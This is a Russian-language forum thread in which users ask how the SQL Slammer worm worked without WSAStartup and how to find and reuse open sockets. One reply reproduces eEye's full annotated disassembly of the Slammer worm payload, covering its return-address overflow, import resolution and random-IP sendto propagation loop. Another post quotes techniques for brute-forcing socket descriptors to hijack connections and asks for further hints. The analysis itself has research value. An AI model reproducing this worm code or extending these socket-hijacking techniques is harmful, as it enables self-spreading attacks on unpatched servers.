Тут читал описание Worm.SQL.Slammer "При активизации на заражаемом компьютере червь получает адреса трёх функций Windows: GetTickCount (KERNEL32.DLL) socket, sendto (WS2_32.DLL)" Я вот задумался, как он обошёлся без WSAStartup ? или может действия WSAStartup сам сумел эмулировать? Вопрос: Не подскажите как моно обойтись без WSAStartup (если это вообще возможно). И, если не возможно, то как программно выпольнить аналогичные действия этой функции. Благодарю за внимания!
Да можно - если найти описатель (ссылку) на уже открытый системой сокет но это мое IHMO .. хотя у меня получалось
Flasher А что мешает взять иду или отладчиком пройтись по коду WSAStartup и посмотрев, что она делает сэмулировать её работу?
Flasher Механизм работы slammera почти такой как описал NoName.Т.е. он ищет уже открытый сокет, а дальше уже с ним и работает.Т.о. образом он обходит фаерволы и ему не надо вызывать WSAStartup.Рекомендую почитать Касперски "Записки исследователя компьютерных вирусов".Там у него есть описание с исходным кодом таких техник
Код (Text): ;SAPPHIRE WORM CODE DISASSEMBLED ;eEye Digital Security: January 25, 2003 ;Updated January 27, 2003 push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp mov eax, 1010101h ; ; Reconstruct session, after the overflow the payload buffer ; gets corrupted during program execution but before the ; payload is executed. The worm writer rebuilds the buffer ; so he can later resend it in the sendto() loop. xor ecx, ecx mov cl, 18h fixup_payload: push eax loop fixup_payload xor eax, 5010101h ; 0x1010101 xor 0x5010101 = 0x04000000 (msg_type for sql resoloution request) ; ; 0x04 is the msg type for request, he has no rebuilt the payload ; so it can be fired over the wire later and reinfect. push eax mov ebp, esp ; ; Move esp into ebp. This will allow him to reference data ; pushed onto the stack later using ebp. He could use esp ; also except for the fact that he push's a lot of values and ; an esp offset will not as reliable. So he chose ebp... ; push ecx ; ; During this phase a series of strings and terminating ; nulls are pushed onto the stack. This method is common ; in simple exploits that don't require a large amount of ; imports to operate. It should also noted that the worm ; use’s the ecx register to store nulls, after it is ; decremented to zero from the loop routine. ; push 6C6C642Eh push 32336C65h push 6E72656Bh ; Push string kernel32.dll push ecx push 746E756Fh ; Push string GetTickCount push 436B6369h push 54746547h mov cx, 6C6Ch push ecx push 642E3233h ; Push string ws2_32.dll push 5F327377h mov cx, 7465h push ecx push 6B636F73h ; Push string socket mov cx, 6F74h push ecx push 646E6573h ; Push string sendto ; mov esi, 42AE1018h ; sqlsort.dll->IAT entry for LoadLibrary ; ; The worm writer uses the sqlsort IAT to locate ; the entry points for LoadLibrary and GetProcAddress. ; lea eax, [ebp-2Ch] ; Load address of string "ws2_32.dll" into eax and ; supply as an argument to LoadLibrary. push eax call dword ptr [esi] ; call sqlsort:[IAT]->LoadLibrary("ws2_32.dll") ; push eax ; When LoadLibrary returns, the base of ws2_32 is in eax. ; This will be used later for a GetProcAddress so he saves ; it on the stack using a push.. ; lea eax, [ebp-20h] ; Load address of string "GetTickCount" into eax and ; push it on the stack. This will be used as an argument ; to the GetProcAddress call after the next LoadLibrary call. push eax lea eax, [ebp-10h] ; Load address of string "kernel32.dll" into eax push eax call dword ptr [esi] ; call sqlsort:[IAT]->LoadLibrary("kernel32.dll") ; push eax ; When LoadLibrary returns, the base of kernel32 is in eax. ; This will be used later for a GetProcAddress so he saves ; it on the stack using a push.. ; mov esi, 42AE1010h ; Move sqlsort:[IAT] entry into esi. The IAT, or Import Address ; Table will shift across dll versions so the worm writer checks a ; small instruction sequence at the entry point of the function to ; verify that it is in fact, GetProcAddress. ; ; mov ebx, [esi] ; Move IAT entry (function entry point) into ebx. ; mov eax, [ebx] ; Move 4 bytes of instructions from function entry point into eax. ; cmp eax, 51EC8B55h ; Check entry point fingerprint for getprocaddress, if the compare fails he uses ; an assumed IATentry. So he checks the entry, if it's not GetProcAddress he ; assumes it's an alternate dll version and uses the static entry in that assumed ; dll version. ; ; The library version I have is:2000.80.534.0. This dll version hips with a base ; installation of MSSQL server 2000. The IATwith this DLL is an entry point for ; RtlEnterCriticalSection, so the first check will obviously fail and the jz will ; not succeed. ; ; It is undetermined what dll versions this payload will succeed on. Due to ; the "if not, then other" importing scheme, this may not work across all dll ; versions. ; ; jz short FOUND_IT ; GetProcAddress(kernel32_base,GetTickCount) mov esi, 42AE101Ch ; This point is only reached if the previous test failed. On a ; default install of MSSQL Server 2000, we will reach this point. ; Then next assignment will assign esi the sqlsort.dll->IAT entry ; for GetProcAddress. FOUND_IT: call dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount) call eax ; GetTickCount() xor ecx, ecx push ecx push ecx push eax ; Push GetTickCount returned value, which is the number ; of milliseconds since the system was last started. This value ; will later be used as a seed for the pseudo random number ; generation. ; ; xor ecx, 9B040103h ; 0x9B040103 xor 0x1010101 = 9A050002 (dest port/family) ; xor ecx, 1010101h push ecx ; 9A050002 = port 1434 / AF_INET ; lea eax, [ebp-34h] ; Load address of string "socket" into eax and supply ; it as the second argument to GetProcAddress push eax mov eax, [ebp-40h] ; Load ws2_32 base address into eax and ; supply as first argument to GetProcAddress. push eax call dword ptr [esi] ; GetProcAddress(ws2_32,socket) push 11h push 2 push 2 call eax ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) ; push eax ; Push socket descriptor ; lea eax, [ebp-3Ch] ; Load address of string "sendto" into eax and ; supply it as the second argument to GetProcAddress. push eax mov eax, [ebp-40h] ; Load ws2_32 base address into eax and ; supply it as the first address to GetProcAddress. push eax call dword ptr [esi] ; GetProcAddress(ws2_32,sendto) mov esi, eax ; Save the entry point for sendto, returned by GetProcAddress ; into esi. ; or ebx, ebx ; ebx = 77F8313C, left over from the sqlsort IAT reads. ; xor ebx, 0FFD9613Ch ; We'll end up with 0x88215000 or 0x88336870, depending on dll ; version. Other values are generated depending on dll version. ; PSEUDO_RAND_SEND: mov eax, [ebp-4Ch] ; Load the seed from GetTickCount into eax and enter pseudo ; random generation. The pseudo generation also takes input from ; an xor'd IAT entry to assist in more random generation. ; lea ecx, [eax+eax*2] lea edx, [eax+ecx*4] shl edx, 4 add edx, eax shl edx, 8 sub edx, eax lea eax, [eax+edx*4] add eax, ebx mov [ebp-4Ch], eax ; Store generated IP address into sock_addr structure. push 10h lea eax, [ebp-50h] ; Load address of the sock_addr structure that was ; created earlier, into eax, then push as an argument ; to sendto(). ; push eax xor ecx, ecx ; Push (flags) = 0 push ecx xor cx, 178h ; Push payload length = 376 push ecx lea eax, [ebp+3] ; Push address of payload push eax mov eax, [ebp-54h] push eax call esi ; sendto(sock,payload,376,0, sock_addr struct, 16) ; jmp short PSEUDO_RAND_SEND
Спасибо за рекомендацию, хорошая книга, но у вы, там нет нечего про поиска открытых сокетов, кроме упоминания об этом: Код (Text): Существует несколько путей захвата ранее установленного TCP/IP-соединения (если кто раньше читал мои статьи, датированные годом эдак 1998, то там я называл это "передачей данных в потоке уже существующего TCP/IP соединения", но этот термин не прижился). Первое и самое глупое - обратиться к переменной дескриптора сокета по фиксированным адресам, специфичным для данного сервера, которые атакующий может получить путем его дизассемблирования. Но такой способ не выдерживает никакой критики, здесь он не рассматривается (тем не менее, знать о его существовании будет все-таки полезно). Уж лучше прибегнуть к грубой силе, перебирая все возможные дескрипторы сокетов один за другим и тем или иным образом определяя какой из них заведует "нашим" TCP/IP-соединением. Поскольку, в операционных системах семейства UNIX и Windows 9x/NT, дескрипторы сокетов представляют собой вполне упорядоченные и небольшие по величине целочисленные значения (обычно заключенные в интервале от 0 до 255), их перебор займет совсем немного времени. Намекните плиз, где копать?